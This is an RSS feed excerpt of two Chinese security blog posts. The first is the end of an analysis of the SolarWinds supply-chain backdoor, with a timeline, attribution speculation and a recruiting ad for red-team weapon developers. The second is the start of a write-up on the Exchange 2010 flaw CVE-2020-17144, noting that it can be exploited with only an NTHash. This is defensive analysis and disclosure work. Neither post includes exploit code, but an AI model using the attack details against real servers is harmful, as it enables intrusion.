src="https://wechat2rss.xlab.app/img-proxy/?k=7397ccb0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzB5kfQkianIicfWElrb3lkQePKpjBV2tL1DJWcp1ic1MkmUgq8Piab2LdtA%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图42</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">C#在运行时没有class的概念，只有Type；微软一直坚持的分隔符也是\r\n。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">但即使是这样，不可否认这是一个新型后门。我们可以大胆推测攻击者开发了一套对应的连接工具，用于对部署了此后门的站点进行管理。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">原始安装包中自带的文件带有数字签名（图43），而我们发现的恶意样本（c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71）没有数字签名（图44）。</span></section><p style="text-align: left;"><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.9487603305785124" data-s="300,640" data-backh="548" data-type="png" data-w="605" style="width: 100%;height: auto;" data-backw="578" src="https://wechat2rss.xlab.app/img-proxy/?k=b7fbfea1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrz9GnyglxA5UoMpjnx2xt5NhBne1wT3VLFbWbypqntzCAm64AnaKZkNA%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图43</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;"><br/></span></section><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6402439024390244" data-s="300,640" data-backh="315" data-type="png" data-w="492" style="width: 100%;height: auto;" data-backw="492" src="https://wechat2rss.xlab.app/img-proxy/?k=83a09faf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzvttv0GpOdJ8r1gMwcsiamD7hRic9JNhXXHPeSXkzbCj9IYLugspCFtlQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图44</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">由此我们可以做一个大胆假设：该后门有可能是在针对某个目标的具体行动中由具体执行的成员临时修改logoimagehandler.ashx文件进行植入，最终DLL由Asp.Net动态编译生成。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">一名不愿意透漏姓名（未登录）的用户于2020-11-24 19:55:35，通过WEB接口将恶意样本上传至VT，其来源显示为US（图45）。这表明可能来源于美国的某名安全分析师于2020年11月24日启动了SolarWinds供应链攻击事件的相关调查工作。</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.5071530758226037" data-backh="281" data-type="png" data-w="2796" style="width: 100%;height: auto;" data-backw="554" src="https://wechat2rss.xlab.app/img-proxy/?k=405a9ddc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzvDibI4jLpJR6Lrnia93MZKKSSibxEpz99nST68F073Pg6NhPrxdjfus0w%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图45</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><br/></section><h1 style="margin-top: 5px;text-align: left;text-indent: 0em;"><span style="font-size: 24px;"><strong><span style="letter-spacing: 0.5px;">0x40 行动</span></strong></span></h1><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><section style="text-indent: 2em;text-align: left;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">我们通过代码分析以及信息追溯，大致整理了部分信息作为描述攻击者的论据。</span><br/></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">接下来要做的便是结合时间节点以及真实APT攻击的上下游环境，通过合理的推断，为攻击者描绘更为深入的画像。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;"><br/></span></section><h2 style="margin-top: 5px;text-align: left;text-indent: 0em;"><strong><span style="letter-spacing: 0.5px;font-size: 24px;">0x41 周期</span></strong></h2><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-indent: 2em;text-align: left;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">在0x32中我们已经通过开源情报搜集，结合DGA解密获取到了全部的时间信息，将时间信息按月份进行排列（图46），可得到下列结果：</span><br/></p><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><br/></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.5439024390243903" data-backh="301" data-type="png" data-w="820" style="width: 100%;height: auto;" data-backw="554" src="https://wechat2rss.xlab.app/img-proxy/?k=b74cd9f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzDicJua74ZuNqicCf2ib1BiaQosuJtdZtQDuVnzjYjDO4NCn7PZNyJUanaQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图46</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">很明显，从四月初开始请求频次逐渐增加，七月份到达顶峰，九月份大幅降低，十月份近乎消失。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">随后注意WHOIS变更记录，前文提到攻击者在2020/02/26 12:04:03 GMT对NS记录进行了初次变更（图47），这实际上可以标志着整个供应链打击行动的开始。</span></section><section style="text-align: center;text-indent: 0em;"><img class="rich_pages" data-ratio="0.7922077922077922" data-s="300,640" data-backh="458" data-type="png" data-w="693" style="width: 100%;height: auto;" data-backw="578" src="https://wechat2rss.xlab.app/img-proxy/?k=4206ef8f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzrc6OXzMbLWHdGyneiazGyibnHnYlekNcx3QujicG8WIrhLTrqLJV9sNeg%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图47</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">最后，我们观察VT样本列表。如图所示，黄色部分表示样本中已存在相关类，但不存在恶意代码，红色部分表示为完整功能的样本。</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.45148356054530875" data-backh="250" data-type="png" data-w="1247" style="width: 100%;height: auto;" data-backw="554" src="https://wechat2rss.xlab.app/img-proxy/?k=16779059&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzx0R0mWqAyWasaxz3J3MqwlKhia7WtjgBrsPOrUjhP4iaLhictku2gcRlA%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">我们可以看到攻击者早在2019/10/10便已经控制了代码仓库，由此逆推SolarWinds公司被控制的时间可能在2019年初甚至更早。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">此次行动仅仅植入了一行包含无害信息的测试代码。我们推测此次意图是用于验证攻击手法是否能够成功，并据此推断后续行动所需时间。攻击者有可能控制了某个安装了SolarWinds的目标，或是本身即为SolarWinds客户的一员。总之，攻击者可以通过某种方式判断在接下来的软件更新中是否可以将恶意代码分发至下游。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">通过2019年10月10日的测试之后，攻击者于2020/3/17成功在Solarwinds中植入了恶意代码，并在三、四、五三个月内接连在三个主要版本上发布了六次，这和DGA解密出的请求时间相匹配。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">随后在八月份，SolarWinds接连发布了四个不存在恶意代码的版本，我们推测正是由于此版本的推出造成大量客户端更新，最终导致了请求量急剧下降。由于官方在本次事件披露之前并未发布任何安全公告，我们更倾向于认为这是攻击组织有预谋的撤退手段，而非实际意义上的权限丢失。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">综合上述信息，我们可以总结出时间轴（图48）如下：</span></section><p style="text-align: left;"><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7025" data-s="300,640" data-backh="406" data-type="png" data-w="800" style="width: 100%;height: auto;" data-backw="578" src="https://wechat2rss.xlab.app/img-proxy/?k=dbb16620&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOMIGkXuL2e0MibayHqxvAJHKUxhujQF6J3hnPF7vCicZKmfULbAia8aicybqrJ4mMwrMottjReN0dfgA%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图48</span><br/></section><h2 style="margin-top: 5px;text-align: left;text-indent: 0em;"><br/></h2><h2 style="margin-top: 5px;text-align: left;text-indent: 0em;"><span style="font-size: 24px;"><strong><span style="letter-spacing: 0.5px;">0x42 疑问</span></strong></span></h2><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-indent: 2em;text-align: left;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">显然，攻击者具有极强的耐心，以及有足够的技术支撑与基础设施支持。这样的攻击者不可能由业余人员临时组成。这些攻击者有着极强的专业能力以及高度的纪律性，本次事件绝不可能是第一次攻击活动，那么之前这些攻击者的目标是什么？</span><br/></p><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">SolarWinds并非唯一的供应链提供商，事实上软件供应商多如牛毛，那么本次攻击是否仅仅是冰山一角？该组织在攻入SolarWinds之后看似“停滞”的时间中是否已经控制了其它更多的供应商？被供应链攻击打击的目标同样可能扮演供应商的角色（无论是软件、服务亦或其他），攻击者是否已经通过本次攻击移动到了其它打击阵地？</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">同时供应链攻击的特性决定了此次攻击只属于完整APT链条的开始，后续必然跟随着更多的行动。根据已知信息，近几个月来至少有接近千家公司存在被控制的可能，这样大量的内网渗透行为由谁来开展，又会有多少人？</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">APT攻击的根本目的是用于将攻击转换为实际价值，无论是商业目的、金钱目的或是其他。或许有部分黑客的目的只是在炫技中得到无上的成就感，但本次攻击显然不是。本次攻击波及到包括政府、经济、金融、医疗等方方面面，攻击者的根本目的或倾向是什么？</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">最后，又是谁在指挥上述的一切？</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;"><br/></span></section><h2 style="margin-top: 5px;text-align: left;text-indent: 0em;"><span style="font-size: 24px;"><strong><span style="letter-spacing: 0.5px;">0x43 推测</span></strong></span></h2><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-indent: 2em;text-align: left;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">由于资料不足，上面的疑问依旧处于黑暗之中。我们希望在后续的持久关注中能够搜集到更多的信息，最终将关于此次行动以及背后组织的事实，完整的展现在公众面前。</span><br/></p><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">但综合已知的种种，我们至少可以总结出以下信息：</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">1. 攻击者技术高超，具有非常熟练的APT行动基础框架设计能力以及对应项目的开发能力。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">2. 攻击者手段老练，具有高度的耐心与隐藏能力。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">3. 攻击者储备了大量的IP资源等基础设施，用于提供C2基础服务、敲门-控制阶段的出网策略配置等。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">4. 攻击者存在专业支撑团队进行其他后门的开发、留存等操作。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">5. 攻击者具有单独的后续攻击团队用于后渗透。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">6. 攻击者在后渗透过程中具有单独的C2通道。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">7. 攻击者具有在广泛攻击面中筛选、搜寻、处理、回传、消化有价值信息的能力。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">8. 攻击者具有稳定的匿名身份与足够的财力，用于支撑上述基础设施与人员开销。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">9. 攻击者具有统一的指挥机构设计整体战略，并协调上述全部战术行为。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><br/></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">最后，结合所有证据，终将指向以下推测：</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">SolarWinds供应链攻击（金链熊）事件，是一场由专业APT组织进行谋划，由基础建设团队提供链路与武器，由供应链团队经过至少两年的踩点与渗透，由分析团队进行目标确认，由后渗透团队实行深入控制，通过供应链打击的实质形式，有组织、有目的、成建制进行的网络攻击行动。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;"><br/></span></section><h1 style="margin-top: 5px;text-align: left;text-indent: 0em;"><strong><span style="letter-spacing: 0.5px;font-size: 24px;">0x50 总结</span></strong></h1><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><section style="text-indent: 2em;text-align: left;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">由于域名已被微软进行接管并指向了黑名单（20.140.0.1），本次攻击行动实质上已经完全终止。限于信息的不足，对于该行动的分析至此告于段落。</span><br/></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">但这不是终点，本次的攻击者如同老练的猎手，在黑暗中一步步谨慎的筹划并实施这一切。从本次分析的结论来看，攻击者体现出了极强的纪律性：明确放弃了至少30%以上的目标。这完全不符合一般的以获利为主要目的商业黑客行为，也有别于一些缺乏明确战略情报意图驱动的普通行为体。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">纵观本次暴露的种种迹象，无论是控制SolarWinds、实施供应链攻击或是具体目标的后渗透行为均表现出了明显的非线性作业模式，表现出的综合能力、跨领域知识，令人惊叹。我们推测这背后是在某个指挥机构的领导下，按照能力与机会导向的行动模式，按部就班有条不紊的实施攻击。同时不排除其背后有相关的科研机构、研发中心支持，及与情治机构的信息共享的可能。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">具有如此能力水准的攻击组织必然会执行其他的行动。事实上纵观已被披露的APT攻击历史，一个被披露的行动背后往往是十个未被发现的行动，对此需要长期关注，并有意识的根据技术特点、战术行动导向及可能的战略意图进行归类。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">其次，样本分析作为安全从业者必不可缺的技能，实质上是多种技能的结合体。没有实战行动经验的分析人员不可能领略攻击者的真实意图，没有代码功底的分析人员不可能完全看到代码设计背后暴露出的思想。样本分析工作绝对不是对照各类日志和官方文档说明，就能做好的事情，类似由专业组织策划并实施的行动，只有同样老练的专业人员才能进行对抗，并在蛛丝马迹中寻觅到被层层遮掩的真相。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">每一位安全从业者都应当更多的接触真实攻击的内容，并将其与已知攻击进行对照，逐步形成自己的攻防体系。只有这样才能更贴合实际，提升自己的能力水准，最终在对抗中，真正将“以攻促防”进行落地。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">没有人愿意处于危机四伏的世界，而在虚拟世界中进行破坏的成本要远比现实世界更低。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">让网络更安全，让世界更美好。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">不忘初心，方得始终。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">zcgonvh@A-TEAM、rem4x@A-TEAM于庚子年冬月初八戌时一刻</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;"><br/></span></section><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><section style="margin-top: 5px;text-align: left;text-indent: 0em;"><strong><span style="font-size: 14px;text-indent: 0em;">相关工具：</span></strong><span style="font-size: 14px;text-indent: 0em;"></span></section><section style="margin-top: 5px;text-align: left;text-indent: 0em;"><span style="font-size: 14px;text-indent: 0em;"><a href="https://github.com/QAX-A-Team/sunburst_decoder" target="_blank">https://github.com/QAX-A-Team/sunburst_decoder</a></span><br/></section><section style="margin-top: 5px;text-align: left;text-indent: 0em;"><strong><span style="font-size: 14px;">招聘：</span></strong></section><p><span style="font-size: 14px;">【奇安信 A-TEAM武器化方向人员招聘】</span></p><p><span style="font-size: 14px;">工作地点：北京-奇安信安全中心</span></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">岗位：</span></p><p><span style="font-size: 14px;">红队工程师（武器研发方向）</span></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">职责：</span></p><p><span style="font-size: 14px;">1.研究能对实战起到实质推进作用的已有技术。</span></p><p><span style="font-size: 14px;">2.发掘能对实战起到实质推进作用的新技术。</span></p><p><span style="font-size: 14px;">3.对上述技术施行工程化落地。</span></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">要求：</span></p><p><span style="font-size: 14px;">1.品格过关，性格稳重，思想坚定。</span></p><p><span style="font-size: 14px;">2.具有较强的学习能力、理解能力、接受能力与抗挫折能力。</span></p><p><span style="font-size: 14px;">3.在对抗方向的安全研究具有浓厚兴趣。</span></p><p><span style="font-size: 14px;">4.熟悉真实环境渗透流程，对于对抗有一定理解。</span></p><p><span style="font-size: 14px;">5.熟悉C/C#语言，或接受从其他语言进行转变。</span></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">加分项：</span></p><p><span style="font-size: 14px;">1.有开源项目。</span></p><p><span style="font-size: 14px;">2.对代码工程、设计模式、编码规范有一定理解。</span></p><p><span style="font-size: 14px;">3.对windows、linux操作系统有一定理解。</span></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">想要在红队武器方向发展，打磨研究实战武器的小伙伴发送简历至邮箱：</span></p><p><span style="font-size: 14px;">zhangchongyao@qianxin.com</span></p><p><span style="font-size: 14px;">zcgonvh@qq.com</span></p><p><span style="font-size: 14px;">或者私聊@zcgonvh</span></p><p><span style="font-size: 14px;">头像哥带你搞事情。</span></p>



<p><a href="2247483909">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0a4260ce&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2NDk0MTM5MQ%3D%3D%26mid%3D2247483909%26idx%3D1%26sn%3D2a9d34678a3dc0980b4904e398accc5d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 23 Dec 2020 11:44:00 +0800</pubDate>
    </item>
    <item>
      <title>从 CVE-2020-17144 看实战环境的漏洞武器化</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2NDk0MTM5MQ==&amp;mid=2247483712&amp;idx=1&amp;sn=0b2cc3c9692f5c58a4eeb246d4b392fc</link>
      <description>漏洞本身有趣的成因和触发条件，在利用时无需明文密码，只要具备NTHash即可成功，在利用方式上会相对更加灵活。同时，存在漏洞的功能点本身具备持久化功能，利用成功后将直接进行持久化行为，在不修复漏洞的情况下将永远存在。</description>
      <content:encoded><![CDATA[<p>
原创 <span>zcgonvh</span> <span>2020-12-09 09:07</span> <span style="display: inline-block;"></span>
</p>

<p>漏洞本身有趣的成因和触发条件，在利用时无需明文密码，只要具备NTHash即可成功，在利用方式上会相对更加灵活。同时，存在漏洞的功能点本身具备持久化功能，利用成功后将直接进行持久化行为，在不修复漏洞的情况下将永远存在。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7ee047bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibNUQ0njuRwM4TyiaWxPdXj2s0JHibj4awyfZDdyO6j2ze4Tef94tqct1uibTWCnibicKBUxSvJscTVxoibg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: left;"><img data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="276" data-ratio="0.43559322033898307" style="width: 578px;height: 252px;" data-type="png" data-w="590" src="https://wechat2rss.xlab.app/img-proxy/?k=efb102ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibNUQ0njuRwM4TyiaWxPdXj2spMoticzk8CtxdykNfdoAutIYAyTcr9IXIN3TMicRGh8UzDCOic2QE41Bw%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">作者：<span style="font-size: 15px;color: rgb(0, 82, 255);">zcgonvh@QAX A-TEAM</span></span></p><p style="text-align: left;"><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: center;"><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span><br/></p><p style="text-align: center;"><span style="font-size: 14px;">官方公告中受影响的 CU31 实际上是准备在十月份发布的 exchange 2010 最终版本（但实际上并未发布），看来是因为我提交了这个漏洞的原因打乱了微软的终止计划 </span><img data-ratio="1" style="text-align: left;white-space: normal;display: inline-block;width: 20px;vertical-align: text-bottom;" data-type="png" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=acf3bb51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibNUQ0njuRwM4TyiaWxPdXj2snUPaKKWrKcYfm5qMGibOeWOjcs7CvicMaYPNpNibAUd5ST7BrliajqF0Xw%2F640%3Fwx_fmt%3Dpng"/><img data-ratio="1" style="text-align: left;white-space: normal;display: inline-block;width: 20px;vertical-align: text-bottom;" data-type="png" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=acf3bb51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibNUQ0njuRwM4TyiaWxPdXj2snUPaKKWrKcYfm5qMGibOeWOjcs7CvicMaYPNpNibAUd5ST7BrliajqF0Xw%2F640%3Fwx_fmt%3Dpng"/><img data-ratio="1" style="text-align: left;white-space: normal;display: inline-block;width: 20px;vertical-align: text-bottom;" data-type="png" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=acf3bb51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibNUQ0njuRwM4TyiaWxPdXj2snUPaKKWrKcYfm5qMGibOeWOjcs7CvicMaYPNpNibAUd5ST7BrliajqF0Xw%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="text-align: center;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;font-size: 14px;"><a href="https://msrc.microsoft.com/update-guid" target="_blank">https://msrc.microsoft.com/update-guid</a></span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;font-size: 14px;">e/en-US/vulnerability/CVE-2020-17144</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.25877192982456143" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="1368" src="https://wechat2rss.xlab.app/img-proxy/?k=4a31417e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibONcrqM8e83Qc8DQfApR1TgNNNJtGEPXe1TghKoO9sVY4yYFJFWXWI7Xqf3G8w53qH2QVMeJqMG6g%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="letter-spacing: 0.5px;font-size: 24px;"><strong>0x00 前言</strong></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><section style="text-indent: 2em;text-align: left;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">和CVE-2018-8302、CVE-2020-0688类似，CVE-2020-17144同属<strong>需登录后</strong>利用的<strong>反序列化漏洞</strong>，但仅影响Exchange2010服务器。</span></section><section style="text-indent: 2em;text-align: left;margin-top: 5px;"><span style="font-size: 15px;letter-spacing: 0.5px;">与CVE-2020-0688不同，由于漏洞本身有趣的成因和触发条件，在利用时无需明文密码，只要具备NTHash即可成功，在利用方式上会相对更加灵活。同时，存在漏洞的功能点本身具备持久化功能，利用成功后将直接进行持久化行为，在不修复漏洞的情况下将永远存在，其危害性和隐蔽性远大于CVE-2020-0688。</span></section><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="letter-spacing: 0.5px;font-size: 24px;"><strong>0x01 背景</strong></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: left;text-indent: 2em;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">Exchange提供了MRM功能对邮件生存周期进行管理，参考<a href="https://docs.microsoft.com/en-us/exchange/policy-and-compliance/mrm/retention-tags-and-retention-policies，其内部通过“标签”和“策略”进行实现。原文表述较为晦涩，简单总结就是：对一类邮件打上相同的标签(Tag)，创建策略（例如定期删除）并应用到某个标签，使得被打上标签的邮件由邮箱助理模块定期统一进行处理。" 